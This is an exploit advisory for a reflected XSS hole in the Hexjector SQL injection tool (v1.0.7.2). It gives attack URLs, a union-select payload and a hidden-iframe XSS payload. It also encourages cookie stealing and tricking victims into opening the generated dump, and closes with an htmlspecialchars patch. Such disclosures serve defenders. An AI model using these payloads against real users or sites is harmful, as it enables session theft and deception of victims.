# Date: 25/5/2010
# Author: Hexon
# Software Link:
https://sourceforge.net/projects/hexjector/files/Hexjector(Win32)/Hexjector
v1.0.7.2.zip/download
# Version: v1.0.7.2 and below

# Code : http://localhost/Hexjector/hexjector.php?site=[XSSCode]&injsubmit=Submit+Query&custom_parameter=
------------------
Vulnerability
------------------
Locate This code in Line 91:
(It differs in each version , this is based on Hexjector v1.0.7.2)
$o_urlx = "URL : < ". $url2 ." >"."<br \>";
$url2 is not filtered so XSS codes can be executed.
You would need to find a site that is vulnerable either to XSS or SQL
Injection
to generate this vulnerability.A site that is vulnerable to XSS only will
also
work because my Hexjector will not stop running unlike Havij that will
detect
that it is uninjectable and stop working.
-----------------
Exploitation
-----------------
You can insert javascript,html codes into the File Dump Created.
There are a few variations for to exploit this :
1.Use XSS codes directly in a XSS Vulnerable site
2.Use XSS codes directly.
3.Use SiXSS to generate a XSS code in a SQL Injection Vulnerable Site.
4.Include XSS code after the vulnerable parameter in a SQL Injection
Vulnerable Site.
------------------------------------------------------------------------------------------
1.Use XSS codes directly in a XSS Vulnerable site
Example :
http://localhost/Hexjector/hexjector.php?site=[Site with XSS
Vulnerability]&injsubmit=Submit+Query&custom_parameter=
You can replace [Site with XSS Vulnerability] with XSS codes like :
-
- <iframe src="http://localhost/hexjector/" height=0 width=0></iframe>
and many others. This is just a basic example.
------------------------------------------------------------------------------------------
2.Use XSS codes directly.
Example :
http://localhost/Hexjector/hexjector.php?site=[XSSCode]&injsubmit=Submit+Query&custom_parameter=
You can replace [XSS Code] with XSS codes like :
-
- <iframe src="http://localhost/hexjector/" height=0 width=0></iframe>
and many others. This is just a basic example.
------------------------------------------------------------------------------------------
3.Use SiXSS to generate a XSS code in a SQL Injection Vulnerable Site.
Example :
http://localhost/Hexjector/hexjector.php?site=[SiXSS]&injsubmit=Submit+Query&custom_parameter=
Example of [SiXSS]:
-2 union select 1,[XSS],3
(Assume that Column count = 3 and String column = 2)
For your acknowledge , String column is the column number where the data
produces
output at the site.
You can replace [XSS] with XSS codes like :
-
- <iframe src="http://localhost/hexjector/" height=0 width=0></iframe>
and many others. This is just a basic example.
------------------------------------------------------------------------------------------
4.Include XSS code after the vulnerable parameter in a SQL Injection
Vulnerable Site.
Example :
http://localhost/Hexjector/hexjector.php?site=[VulnerableParameter][XSS]&injsubmit=Submit+Query&custom_parameter=
[Value] is the SQL Injection Vulnerable Site with its parameter.
Example :
http://localhost/sqli.php?id=2
You can replace [XSS] with XSS codes like :
-
- <iframe src="http://localhost/hexjector/" height=0 width=0></iframe>
and many others. This is just a basic example.
------------------------------------------------------------------------------------------
NOTE :
Other XSS method can be used:
-Iframe
-Redirection
-Cookie Stealing and many others.
After you have tried either one (all of them are similar in a way or two but
this is just to show you all of the ways to do it) , a html dump will be
generated (File is saved as [HexDV(4/5)](32charlength).html) and open it.
Use your creativity to trick others to go to this file and you will
get the things that you want.
---------
Patch
---------
Replace the vulnerable line with this :
$o_urlx = "URL : < ". htmlspecialchars($url2,ENT_QUOTES) ." >"."<br \>";
The code($o_urlx) differs in each version so just find it manually and
replace the
$url2 with the htmlspecialchars($url2,ENT_QUOTES).
Do not use replace or replace all functions as Hexjector uses a lot of $url2
and only one of it is vulnerable so find it manually. Replacing some or all
of
it WILL definitely bring a slow down in terms of performance as
htmlspecialchars will take some time to execute.
This will patch the non-persistent XSS vulnerability as well.
